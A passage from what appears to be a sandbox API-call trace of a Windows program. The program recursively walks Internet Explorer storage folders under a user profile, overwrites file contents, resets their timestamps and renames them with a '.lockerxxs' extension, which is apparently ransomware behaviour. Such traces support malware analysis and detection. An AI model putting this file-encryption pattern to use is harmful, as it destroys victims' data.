ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d0049, dwReserved1=0x50004a, cFileName="IMJP9_0", cAlternateFileName="")) returned 1 [0087.105] lstrcmpA (lpString1=".", lpString2="IMJP9_0") returned -1 [0087.105] lstrcmpA (lpString1="..", lpString2="IMJP9_0") returned -1 [0087.105] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*.*") returned="*.*" [0087.105] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0087.105] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.105] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.105] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.105] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.105] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.105] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0087.106] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d0049, dwReserved1=0x50004a, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0087.106] lstrcmpA (lpString1=".", lpString2="Internet Explorer") returned -1 [0087.106] lstrcmpA (lpString1="..", lpString2="Internet Explorer") returned -1 [0087.106] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*.*") returned="*.*" [0087.106] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0087.108] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.108] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.108] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.108] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.108] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DOMStore", cAlternateFileName="")) returned 1 [0087.108] lstrcmpA (lpString1=".", lpString2="DOMStore") returned -1 [0087.108] lstrcmpA (lpString1="..", lpString2="DOMStore") returned -1 [0087.108] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*.*") returned="*.*" [0087.108] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0087.109] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.109] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.109] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.109] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.109] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="36USA68T", cAlternateFileName="")) returned 1 [0087.109] lstrcmpA (lpString1=".", lpString2="36USA68T") returned -1 [0087.109] lstrcmpA (lpString1="..", lpString2="36USA68T") returned -1 [0087.109] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\*.*") returned="*.*" [0087.109] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0087.109] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.109] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.110] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.110] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.110] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="imagesrv.adition[1].xml", cAlternateFileName="IMAGES~1.XML")) returned 1 [0087.110] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0087.110] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\*.*") returned="*.*" [0087.110] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\" [0087.110] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\") returned="" [0087.112] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0087.113] CloseHandle (hObject=0x9c) returned 1 [0087.113] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="imagesrv.adition[1].xml", cAlternateFileName="IMAGES~1.XML")) returned 0 [0087.113] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0087.113] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="3O75JDME", cAlternateFileName="")) returned 1 [0087.113] lstrcmpA (lpString1=".", lpString2="3O75JDME") returned -1 [0087.113] lstrcmpA (lpString1="..", lpString2="3O75JDME") returned -1 [0087.113] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\*.*") returned="*.*" [0087.113] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0087.115] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.115] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.115] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.115] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.115] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x696aec80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 1 [0087.115] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0087.115] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\*.*") returned="*.*" [0087.115] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\" [0087.115] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\") returned="" [0087.117] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0087.117] CloseHandle (hObject=0x9c) returned 1 [0087.118] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x696aec80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 0 [0087.118] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0087.118] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0087.118] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.118] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\*.*") returned="*.*" [0087.118] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\" [0087.118] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="" [0087.123] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0087.123] CloseHandle (hObject=0x98) returned 1 [0087.126] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat") returned="index.dat" [0087.127] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.127] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x7fda, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x7fda, lpOverlapped=0x0) returned 1 [0087.129] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0087.129] CloseHandle (hObject=0x98) returned 1 [0087.129] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat.lockerxxs")) returned 1 [0087.130] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x22000321, dwReserved1=0x4e00c4, cFileName="UV0DUWVB", cAlternateFileName="")) returned 1 [0087.130] lstrcmpA (lpString1=".", lpString2="UV0DUWVB") returned -1 [0087.130] lstrcmpA (lpString1="..", lpString2="UV0DUWVB") returned -1 [0087.130] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat") returned="index.dat" [0087.130] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0087.130] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.130] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4a0000, cFileName="..", cAlternateFileName="")) returned 1 [0087.131] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.131] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.131] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4a0000, cFileName="..", cAlternateFileName="")) returned 0 [0087.131] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0087.131] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x560055, dwReserved1=0x440030, cFileName="VGMTOI09", cAlternateFileName="")) returned 1 [0087.131] lstrcmpA (lpString1=".", lpString2="VGMTOI09") returned -1 [0087.131] lstrcmpA (lpString1="..", lpString2="VGMTOI09") returned -1 [0087.131] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\*.*") returned="*.*" [0087.131] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0087.131] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.131] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.132] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.132] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.132] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="www.msn[1].xml", cAlternateFileName="WWWMSN~1.XML")) returned 1 [0087.132] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0087.132] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\*.*") returned="*.*" [0087.132] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\" [0087.132] PathAddBackslashA (in: 